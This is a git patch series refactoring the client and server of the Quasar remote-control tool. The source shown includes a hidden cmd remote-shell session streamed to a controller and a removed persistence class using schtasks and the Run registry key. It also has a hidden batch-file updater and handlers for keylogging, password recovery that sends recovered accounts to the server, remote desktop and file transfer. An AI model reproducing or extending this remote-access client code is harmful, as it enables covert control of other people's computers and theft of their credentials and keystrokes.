public static bool Update(ISender client, string newFilePath) + public void Update(string newFilePath) { - try - { - FileHelper.DeleteZoneIdentifier(newFilePath); - - var bytes = File.ReadAllBytes(newFilePath); - if (!FileHelper.HasExecutableIdentifier(bytes)) - throw new Exception("no pe file"); + FileHelper.DeleteZoneIdentifier(newFilePath); - string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); + var bytes = File.ReadAllBytes(newFilePath); + if (!FileHelper.HasExecutableIdentifier(bytes)) + throw new Exception("No executable file."); - if (string.IsNullOrEmpty(batchFile)) - throw new Exception("Could not create update batch file."); + string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); - ProcessStartInfo startInfo = new ProcessStartInfo - { - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true, - FileName = batchFile - }; - Process.Start(startInfo); + if (string.IsNullOrEmpty(batchFile)) + throw new Exception("Could not create update batch file."); - if (Settings.STARTUP) - Startup.RemoveFromStartup(); + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); - return true; - } - catch (Exception ex) + if (Settings.STARTUP) { - NativeMethods.DeleteFile(newFilePath); - client.Send(new SetStatus {Message = $"Update failed: {ex.Message}"}); - return false; + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); } } } diff --git a/Quasar.Client/Setup/Startup.cs b/Quasar.Client/Setup/Startup.cs deleted file mode 100644 index 845bf4034..000000000 --- a/Quasar.Client/Setup/Startup.cs +++ /dev/null @@ -1,76 +0,0 @@ -using Microsoft.Win32; -using Quasar.Client.Config; -using Quasar.Client.Helper; -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Quasar.Client.Setup -{ - public static class Startup - { - public static bool AddToStartup() - { - if (WindowsAccountHelper.GetAccountType() == "Admin") - { - try - { - ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") - { - Arguments = "/create /tn \"" + Settings.STARTUPKEY + "\" /sc ONLOGON /tr \"" + Application.ExecutablePath + "\" /rl HIGHEST /f", - UseShellExecute = false, - CreateNoWindow = true - }; - - Process p = Process.Start(startInfo); - p.WaitForExit(1000); - if (p.ExitCode == 0) return true; - } - catch (Exception) - { - } - - return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, Application.ExecutablePath, - true); - } - else - { - return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, Application.ExecutablePath, - true); - } - } - - public static bool RemoveFromStartup() - { - if (WindowsAccountHelper.GetAccountType() == "Admin") - { - try - { - ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") - { - Arguments = "/delete /tn \"" + Settings.STARTUPKEY + "\" /f", - UseShellExecute = false, - CreateNoWindow = true - }; - - Process p = Process.Start(startInfo); - p.WaitForExit(1000); - if (p.ExitCode == 0) return true; - } - catch (Exception) - { - } - - return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY); - } - else - { - return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY); - } - } - } -} diff --git a/Quasar.Client/Messages/UserStatusHandler.cs b/Quasar.Client/User/ActivityDetection.cs similarity index 66% rename from Quasar.Client/Messages/UserStatusHandler.cs rename to Quasar.Client/User/ActivityDetection.cs index bc2b9c6fa..2e1ca3346 100644 --- a/Quasar.Client/Messages/UserStatusHandler.cs +++ b/Quasar.Client/User/ActivityDetection.cs @@ -2,13 +2,12 @@ using Quasar.Client.Networking; using Quasar.Common.Enums; using Quasar.Common.Messages; -using Quasar.Common.Networking; -using System.Diagnostics; +using System; using System.Threading; -namespace Quasar.Client.Messages +namespace Quasar.Client.User { - public class UserStatusHandler : MessageProcessorBase + public class ActivityDetection : IDisposable { public UserStatus LastUserStatus { get; private set; } @@ -18,36 +17,39 @@ public class UserStatusHandler : MessageProcessorBase private readonly CancellationToken _token; - public UserStatusHandler(QuasarClient client) : base(false) + public ActivityDetection(QuasarClient client) { - // TODO: handle disconnect _client = client; _tokenSource = new CancellationTokenSource(); _token = _tokenSource.Token; - new Thread(UserIdleThread) { IsBackground = true }.Start(); + client.ClientState += OnClientStateChange; } - public override bool CanExecute(IMessage message) => false; - - public override bool CanExecuteFrom(ISender sender) => false; + private void OnClientStateChange(Networking.Client s, bool connected) + { + // reset user status + if (connected) + LastUserStatus = UserStatus.Active; + } - public override void Execute(ISender sender, IMessage message) + public void Start() { + new Thread(UserIdleThread) { IsBackground = true }.Start(); } - protected override void Dispose(bool disposing) + public void Dispose() { - if (disposing) - { - _tokenSource.Cancel(); - } + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); } private void UserIdleThread() { while (!_token.IsCancellationRequested) { - Thread.Sleep(1000); + if (_token.WaitHandle.WaitOne(1000)) + break; + if (IsUserIdle()) { if (LastUserStatus != UserStatus.Idle) @@ -65,14 +67,13 @@ private void UserIdleThread() } } } - } private bool IsUserIdle() { - long ticks = Stopwatch.GetTimestamp(); + var ticks = Environment.TickCount; - long idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); + var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); diff --git a/Quasar.Client/User/UserAccount.cs b/Quasar.Client/User/UserAccount.cs new file mode 100644 index 000000000..b30e1ef20 --- /dev/null +++ b/Quasar.Client/User/UserAccount.cs @@ -0,0 +1,38 @@ +using Quasar.Common.Enums; +using System.Security.Principal; + +namespace Quasar.Client.User +{ + public class UserAccount + { + public string UserName { get; } + + public AccountType Type { get; } + + public UserAccount() + { + using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) + { + UserName = identity.Name; + WindowsPrincipal principal = new WindowsPrincipal(identity); + + if (principal.IsInRole(WindowsBuiltInRole.Administrator)) + { + Type = AccountType.Admin; + } + else if (principal.IsInRole(WindowsBuiltInRole.User)) + { + Type = AccountType.User; + } + else if (principal.IsInRole(WindowsBuiltInRole.Guest)) + { + Type = AccountType.Guest; + } + else + { + Type = AccountType.Unknown; + } + } + } + } +} diff --git a/Quasar.Client/Utilities/NativeMethods.cs b/Quasar.Client/Utilities/NativeMethods.cs index 617a23851..487ef1a39 100644 --- a/Quasar.Client/Utilities/NativeMethods.cs +++ b/Quasar.Client/Utilities/NativeMethods.cs @@ -18,16 +18,15 @@ internal struct LASTINPUTINFO [MarshalAs(UnmanagedType.U4)] public UInt32 dwTime; } - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - internal static extern bool DeleteFile(string name); - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] internal static extern IntPtr LoadLibrary(string lpFileName); [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize); + [DllImport("user32.dll")] internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); diff --git a/Quasar.Client/Utilities/SingleInstanceMutex.cs b/Quasar.Client/Utilities/SingleInstanceMutex.cs index 52a7db33b..0672c972e 100644 --- a/Quasar.Client/Utilities/SingleInstanceMutex.cs +++ b/Quasar.Client/Utilities/SingleInstanceMutex.cs @@ -3,27 +3,60 @@ namespace Quasar.Client.Utilities { + /// + /// A system-wide mutex that ensures that only one instance runs at a time. + /// public class SingleInstanceMutex : IDisposable { + /// + /// The mutex used for process synchronization. + /// private readonly Mutex _appMutex; + /// + /// Represents if the mutex was created on the system or it already existed. + /// public bool CreatedNew { get; } + /// + /// Determines if the instance is disposed and should not be used anymore. + /// public bool IsDisposed { get; private set; } + /// + /// Initializes a new instance of using the given mutex name. + /// + /// The name of the mutex. public SingleInstanceMutex(string name) { _appMutex = new Mutex(false, name, out var createdNew); CreatedNew = createdNew; } + /// + /// Releases all resources used by this . + /// public void Dispose() { - if (!IsDisposed) + Dispose(true); + GC.SuppressFinalize(this); + } + + /// + /// Releases the mutex object. + /// + /// True if called from , false if called from the finalizer. + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) + return; + + if (disposing) { _appMutex?.Dispose(); - IsDisposed = true; } + + IsDisposed = true; } } } diff --git a/Quasar.Common/Enums/AccountType.cs b/Quasar.Common/Enums/AccountType.cs new file mode 100644 index 000000000..19c3eecd8 --- /dev/null +++ b/Quasar.Common/Enums/AccountType.cs @@ -0,0 +1,10 @@ +namespace Quasar.Common.Enums +{ + public enum AccountType + { + Admin, + User, + Guest, + Unknown + } +} diff --git a/Quasar.Common/Enums/UserStatus.cs b/Quasar.Common/Enums/UserStatus.cs index 761499a5f..da7260967 100644 --- a/Quasar.Common/Enums/UserStatus.cs +++ b/Quasar.Common/Enums/UserStatus.cs @@ -2,7 +2,7 @@ { public enum UserStatus { - Idle, - Active + Active, + Idle } } diff --git a/Quasar.Common/Messages/MessageHandler.cs b/Quasar.Common/Messages/MessageHandler.cs index 59467af1e..7982a78ab 100644 --- a/Quasar.Common/Messages/MessageHandler.cs +++ b/Quasar.Common/Messages/MessageHandler.cs @@ -5,7 +5,7 @@ namespace Quasar.Common.Messages { /// - /// Handles registration of s and processing of s. + /// Handles registrations of s and processing of s. /// public static class MessageHandler { diff --git a/Quasar.Common/NativeMethods.cs b/Quasar.Common/NativeMethods.cs index a4bea4329..94f8fcd59 100644 --- a/Quasar.Common/NativeMethods.cs +++ b/Quasar.Common/NativeMethods.cs @@ -3,22 +3,25 @@ namespace Quasar.Common { + /// + /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// public class NativeMethods { [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); + public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); + public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern int memcpy(IntPtr dst, IntPtr src, uint count); + public static extern int memcpy(IntPtr dst, IntPtr src, uint count); [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern unsafe int memcpy(void* dst, void* src, uint count); + public static extern unsafe int memcpy(void* dst, void* src, uint count); [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] - internal static extern bool DeleteFile(string name); + public static extern bool DeleteFile(string name); } } From ffd4b5b065926dd3b0f4fcaba761c7a48d013a59 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 28 May 2020 21:10:26 +0200 Subject: [PATCH 179/229] Update message processors and client exit --- Quasar.Client/IO/Shell.cs | 340 ++++++++++++++++++ .../Messages/ClientServicesHandler.cs | 32 +- Quasar.Client/Messages/FileManagerHandler.cs | 52 ++- Quasar.Client/Messages/KeyloggerHandler.cs | 25 +- Quasar.Client/Messages/MessageBoxHandler.cs | 26 +- .../Messages/PasswordRecoveryHandler.cs | 26 +- Quasar.Client/Messages/RegistryHandler.cs | 29 +- .../Messages/RemoteDesktopHandler.cs | 27 +- Quasar.Client/Messages/RemoteShellHandler.cs | 328 +++-------------- Quasar.Client/Messages/ReverseProxyHandler.cs | 22 +- Quasar.Client/Messages/ShutdownHandler.cs | 23 +- .../Messages/StartupManagerHandler.cs | 23 +- .../Messages/SystemInformationHandler.cs | 23 +- Quasar.Client/Messages/TaskManagerHandler.cs | 167 ++++++--- .../Messages/TcpConnectionsHandler.cs | 31 +- .../Messages/WebsiteVisitorHandler.cs | 23 +- Quasar.Client/Program.cs | 4 +- Quasar.Client/QuasarApplication.cs | 9 +- Quasar.Client/User/ActivityDetection.cs | 8 +- Quasar.Client/User/UserAccount.cs | 3 +- Quasar.Common/Messages/IMessageProcessor.cs | 25 +- .../Messages/MessageProcessorBase.cs | 30 +- Quasar.Server/Forms/FrmConnections.cs | 1 - Quasar.Server/Forms/FrmMain.cs | 1 - Quasar.Server/Forms/FrmPasswordRecovery.cs | 1 - Quasar.Server/Forms/FrmRegistryEditor.cs | 1 - Quasar.Server/Forms/FrmRemoteExecution.cs | 1 - Quasar.Server/Forms/FrmRemoteShell.cs | 3 +- Quasar.Server/Forms/FrmStartupManager.cs | 1 - Quasar.Server/Forms/FrmSystemInformation.cs | 1 - Quasar.Server/Forms/FrmTaskManager.cs | 1 - Quasar.Server/Messages/ClientStatusHandler.cs | 7 +- Quasar.Server/Messages/FileManagerHandler.cs | 17 +- Quasar.Server/Messages/KeyloggerHandler.cs | 16 +- .../Messages/PasswordRecoveryHandler.cs | 13 +- Quasar.Server/Messages/RegistryHandler.cs | 7 +- .../Messages/RemoteDesktopHandler.cs | 23 +- Quasar.Server/Messages/RemoteShellHandler.cs | 14 +- Quasar.Server/Messages/ReverseProxyHandler.cs | 15 +- .../Messages/StartupManagerHandler.cs | 11 +- .../Messages/SystemInformationHandler.cs | 13 +- Quasar.Server/Messages/TaskManagerHandler.cs | 8 +- .../Messages/TcpConnectionsHandler.cs | 7 +- 43 files changed, 848 insertions(+), 590 deletions(-) create mode 100644 Quasar.Client/IO/Shell.cs diff --git a/Quasar.Client/IO/Shell.cs b/Quasar.Client/IO/Shell.cs new file mode 100644 index 000000000..7c98ada3b --- /dev/null +++ b/Quasar.Client/IO/Shell.cs @@ -0,0 +1,340 @@ +using Quasar.Client.Networking; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Globalization; +using System.IO; +using System.Text; +using System.Threading; + +namespace Quasar.Client.IO +{ + /// + /// This class manages a remote shell session. + /// + public class Shell : IDisposable + { + /// + /// The process of the command-line (cmd). + /// + private Process _prc; + + /// + /// Decides if we should still read from the output. + /// + /// Detects unexpected closing of the shell. + /// + /// + private bool _read; + + /// + /// The lock object for the read variable. + /// + private readonly object _readLock = new object(); + + /// + /// The lock object for the StreamReader. + /// + private readonly object _readStreamLock = new object(); + + /// + /// The current console encoding. + /// + private Encoding _encoding; + + /// + /// Redirects commands to the standard input stream of the console with the correct encoding. + /// + private StreamWriter _inputWriter; + + private readonly QuasarClient _client; + + public Shell(QuasarClient client) + { + _client = client; + } + + + + private void Execute(ISender client, DoShellExecute message) + { + string input = message.Command; + + if ((_prc == null || _prc.HasExited) && input == "exit") return; + + if (input == "exit") + Dispose(); + else + ExecuteCommand(input); + } + + /// + /// Creates a new session of the shell. + /// + private void CreateSession() + { + lock (_readLock) + { + _read = true; + } + + var cultureInfo = CultureInfo.InstalledUICulture; + _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage); + + _prc = new Process + { + StartInfo = new ProcessStartInfo("cmd") + { + UseShellExecute = false, + CreateNoWindow = true, + RedirectStandardInput = true, + RedirectStandardOutput = true, + RedirectStandardError = true, + StandardOutputEncoding = _encoding, + StandardErrorEncoding = _encoding, + WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), + Arguments = $"/K CHCP {_encoding.CodePage}" + } + }; + _prc.Start(); + + RedirectIO(); + + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> New Session created\n" + }); + } + + /// + /// Starts the redirection of input and output. + /// + private void RedirectIO() + { + _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding); + new Thread(RedirectStandardOutput).Start(); + new Thread(RedirectStandardError).Start(); + } + + /// + /// Reads the output from the stream. + /// + /// The first read char. + /// The StreamReader to read from. + /// True if reading from the error-stream, else False. + private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError) + { + lock (_readStreamLock) + { + var streamBuffer = new StringBuilder(); + + streamBuffer.Append((char)firstCharRead); + + // While there are more characters to be read + while (streamReader.Peek() > -1) + { + // Read the character in the queue + var ch = streamReader.Read(); + + // Accumulate the characters read in the stream buffer + streamBuffer.Append((char)ch); + + if (ch == '\n') + SendAndFlushBuffer(ref streamBuffer, isError); + } + // Flush any remaining text in the buffer + SendAndFlushBuffer(ref streamBuffer, isError); + } + } + + /// + /// Sends the read output to the Client. + /// + /// Contains the contents of the output. + /// True if reading from the error-stream, else False. + private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError) + { + if (textBuffer.Length == 0) return; + + var toSend = ConvertEncoding(_encoding, textBuffer.ToString()); + + if (string.IsNullOrEmpty(toSend)) return; + + _client.Send(new DoShellExecuteResponse { Output = toSend, IsError = isError }); + + textBuffer.Clear(); + } + + /// + /// Reads from the standard output-stream. + /// + private void RedirectStandardOutput() + { + try + { + int ch; + + // The Read() method will block until something is available + while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1) + { + ReadStream(ch, _prc.StandardOutput, false); + } + + lock (_readLock) + { + if (_read) + { + _read = false; + throw new ApplicationException("session unexpectedly closed"); + } + } + } + catch (ObjectDisposedException) + { + // just exit + } + catch (Exception ex) + { + if (ex is ApplicationException || ex is InvalidOperationException) + { + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> Session unexpectedly closed\n", + IsError = true + }); + + CreateSession(); + } + } + } + + /// + /// Reads from the standard error-stream. + /// + private void RedirectStandardError() + { + try + { + int ch; + + // The Read() method will block until something is available + while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1) + { + ReadStream(ch, _prc.StandardError, true); + } + + lock (_readLock) + { + if (_read) + { + _read = false; + throw new ApplicationException("session unexpectedly closed"); + } + } + } + catch (ObjectDisposedException) + { + // just exit + } + catch (Exception ex) + { + if (ex is ApplicationException || ex is InvalidOperationException) + { + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> Session unexpectedly closed\n", + IsError = true + }); + + CreateSession(); + } + } + } + + /// + /// Executes a shell command. + /// + /// The command to execute. + /// False if execution failed, else True. + public bool ExecuteCommand(string command) + { + if (_prc == null || _prc.HasExited) + { + try + { + CreateSession(); + } + catch (Exception ex) + { + _client.Send(new DoShellExecuteResponse + { + Output = $"\n>> Failed to creation shell session: {ex.Message}\n", + IsError = true + }); + return false; + } + } + + _inputWriter.WriteLine(ConvertEncoding(_encoding, command)); + _inputWriter.Flush(); + + return true; + } + + /// + /// Converts the encoding of an input string to UTF-8 format. + /// + /// The source encoding of the input string. + /// The input string. + /// The input string in UTF-8 format. + private string ConvertEncoding(Encoding sourceEncoding, string input) + { + var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input)); + return Encoding.UTF8.GetString(utf8Text); + } + + /// + /// Releases all resources used by this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_readLock) + { + _read = false; + } + + if (_prc == null) + return; + + if (!_prc.HasExited) + { + try + { + _prc.Kill(); + } + catch + { + } + } + + if (_inputWriter != null) + { + _inputWriter.Close(); + _inputWriter = null; + } + + _prc.Dispose(); + _prc = null; + } + } + } +} diff --git a/Quasar.Client/Messages/ClientServicesHandler.cs b/Quasar.Client/Messages/ClientServicesHandler.cs index e88bad780..f096bcb21 100644 --- a/Quasar.Client/Messages/ClientServicesHandler.cs +++ b/Quasar.Client/Messages/ClientServicesHandler.cs @@ -1,41 +1,40 @@ -using System; -using Quasar.Client.Config; -using Quasar.Client.Helper; +using Quasar.Client.Config; using Quasar.Client.Networking; using Quasar.Client.Setup; +using Quasar.Client.User; using Quasar.Client.Utilities; +using Quasar.Common.Enums; using Quasar.Common.Messages; using Quasar.Common.Networking; +using System; using System.Diagnostics; using System.Windows.Forms; -using Quasar.Client.User; -using Quasar.Common.Enums; namespace Quasar.Client.Messages { - public class ClientServicesHandler : MessageProcessorBase + public class ClientServicesHandler : IMessageProcessor { private readonly QuasarClient _client; private readonly QuasarApplication _application; - public ClientServicesHandler(QuasarApplication application, QuasarClient client) : base(false) + public ClientServicesHandler(QuasarApplication application, QuasarClient client) { _application = application; _client = client; } /// - public override bool CanExecute(IMessage message) => message is DoClientUninstall || + public bool CanExecute(IMessage message) => message is DoClientUninstall || message is DoClientDisconnect || message is DoClientReconnect || message is DoAskElevate; /// - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; /// - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -111,9 +110,18 @@ private void Execute(ISender client, DoAskElevate message) } } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() { - + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + } } } diff --git a/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar.Client/Messages/FileManagerHandler.cs index e7777b556..bb337f144 100644 --- a/Quasar.Client/Messages/FileManagerHandler.cs +++ b/Quasar.Client/Messages/FileManagerHandler.cs @@ -16,19 +16,43 @@ namespace Quasar.Client.Messages { - public class FileManagerHandler : MessageProcessorBase + public class FileManagerHandler : IMessageProcessor { private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary(); private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads private readonly QuasarClient _client; - public FileManagerHandler(QuasarClient client) : base(false) + private CancellationTokenSource _tokenSource; + + private CancellationToken _token; + + public FileManagerHandler(QuasarClient client) { _client = client; + _client.ClientState += OnClientStateChange; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; } - public override bool CanExecute(IMessage message) => message is GetDrives || + private void OnClientStateChange(Networking.Client s, bool connected) + { + switch (connected) + { + case true: + + _tokenSource?.Dispose(); + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + break; + case false: + // cancel all running transfers on disconnect + _tokenSource.Cancel(); + break; + } + } + + public bool CanExecute(IMessage message) => message is GetDrives || message is GetDirectory || message is FileTransferRequest || message is FileTransferCancel || @@ -36,9 +60,9 @@ message is FileTransferChunk || message is DoPathDelete || message is DoPathRename; - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -207,7 +231,7 @@ private void Execute(ISender client, FileTransferRequest message) _activeTransfers[message.Id] = srcFile; foreach (var chunk in srcFile) { - if (!_client.Connected || !_activeTransfers.ContainsKey(message.Id)) + if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id)) break; // blocking sending might not be required, needs further testing @@ -434,15 +458,27 @@ private void RemoveFileTransfer(int id) { if (_activeTransfers.ContainsKey(id)) { - _activeTransfers[id].Dispose(); + _activeTransfers[id]?.Dispose(); _activeTransfers.TryRemove(id, out _); } } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { if (disposing) { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); foreach (var transfer in _activeTransfers) { transfer.Value?.Dispose(); diff --git a/Quasar.Client/Messages/KeyloggerHandler.cs b/Quasar.Client/Messages/KeyloggerHandler.cs index ab83217d0..6803ee49a 100644 --- a/Quasar.Client/Messages/KeyloggerHandler.cs +++ b/Quasar.Client/Messages/KeyloggerHandler.cs @@ -1,21 +1,17 @@ using Quasar.Client.Config; using Quasar.Common.Messages; using Quasar.Common.Networking; +using System; namespace Quasar.Client.Messages { - public class KeyloggerHandler : MessageProcessorBase + public class KeyloggerHandler : IMessageProcessor { - public KeyloggerHandler() : base(false) - { - - } - - public override bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory; + public bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory; - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -30,7 +26,16 @@ public void Execute(ISender client, GetKeyloggerLogsDirectory message) client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH }); } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { } diff --git a/Quasar.Client/Messages/MessageBoxHandler.cs b/Quasar.Client/Messages/MessageBoxHandler.cs index 6ea249526..c14a045c6 100644 --- a/Quasar.Client/Messages/MessageBoxHandler.cs +++ b/Quasar.Client/Messages/MessageBoxHandler.cs @@ -6,17 +6,13 @@ namespace Quasar.Client.Messages { - public class MessageBoxHandler : MessageProcessorBase + public class MessageBoxHandler : IMessageProcessor { - public MessageBoxHandler() : base(false) - { - } - - public override bool CanExecute(IMessage message) => message is DoShowMessageBox; + public bool CanExecute(IMessage message) => message is DoShowMessageBox; - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -30,16 +26,26 @@ private void Execute(ISender client, DoShowMessageBox message) { new Thread(() => { + // messagebox thread resides in csrss.exe - wtf? MessageBox.Show(message.Text, message.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon), MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); - }).Start(); + }) {IsBackground = true}.Start(); client.Send(new SetStatus { Message = "Successfully displayed MessageBox" }); } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { } diff --git a/Quasar.Client/Messages/PasswordRecoveryHandler.cs b/Quasar.Client/Messages/PasswordRecoveryHandler.cs index 15ac8f5d2..f04512393 100644 --- a/Quasar.Client/Messages/PasswordRecoveryHandler.cs +++ b/Quasar.Client/Messages/PasswordRecoveryHandler.cs @@ -3,21 +3,18 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; +using System; using System.Collections.Generic; namespace Quasar.Client.Messages { - public class PasswordRecoveryHandler : MessageProcessorBase + public class PasswordRecoveryHandler : IMessageProcessor { - public PasswordRecoveryHandler() : base(false) - { - } + public bool CanExecute(IMessage message) => message is GetPasswords; - public override bool CanExecute(IMessage message) => message is GetPasswords; + public bool CanExecuteFrom(ISender sender) => true; - public override bool CanExecuteFrom(ISender sender) => true; - - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -42,9 +39,18 @@ private void Execute(ISender client, GetPasswords message) client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() { - + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + } } } diff --git a/Quasar.Client/Messages/RegistryHandler.cs b/Quasar.Client/Messages/RegistryHandler.cs index ec8a4c802..49a689795 100644 --- a/Quasar.Client/Messages/RegistryHandler.cs +++ b/Quasar.Client/Messages/RegistryHandler.cs @@ -1,6 +1,5 @@ using Quasar.Client.Extensions; using Quasar.Client.Helper; -using Quasar.Client.Networking; using Quasar.Client.Registry; using Quasar.Common.Messages; using Quasar.Common.Models; @@ -9,16 +8,9 @@ namespace Quasar.Client.Messages { - public class RegistryHandler : MessageProcessorBase + public class RegistryHandler : IMessageProcessor { - private readonly QuasarClient _client; - - public RegistryHandler(QuasarClient client) : base(false) - { - _client = client; - } - - public override bool CanExecute(IMessage message) => message is DoLoadRegistryKey || + public bool CanExecute(IMessage message) => message is DoLoadRegistryKey || message is DoCreateRegistryKey || message is DoDeleteRegistryKey || message is DoRenameRegistryKey || @@ -27,9 +19,9 @@ message is DoDeleteRegistryValue || message is DoRenameRegistryValue || message is DoChangeRegistryValue; - public override bool CanExecuteFrom(ISender sender) => true; + public bool CanExecuteFrom(ISender sender) => true; - public override void Execute(ISender sender, IMessage message) + public void Execute(ISender sender, IMessage message) { switch (message) { @@ -233,9 +225,18 @@ private void Execute(ISender client, DoChangeRegistryValue message) client.Send(responsePacket); } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() { - + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + } } } diff --git a/Quasar.Client/Messages/RemoteDesktopHandler.cs b/Quasar.Client/Messages/RemoteDesktopHandler.cs index 1f26e5c8f..de55fee4d 100644 --- a/Quasar.Client/Messages/RemoteDesktopHandler.cs +++ b/Quasar.Client/Messages/RemoteDesktopHandler.cs @@ -1,5 +1,4 @@ using Quasar.Client.Helper; -using Quasar.Client.Networking; using Quasar.Common.Enums; using Quasar.Common.Messages; using Quasar.Common.Networking; @@ -13,25 +12,18 @@ namespace Quasar.Client.Messages { - public class RemoteDesktopHandler : MessageProcessorBase + public class RemoteDesktopHandler : IMessageProcessor { - private readonly QuasarClient _client; - 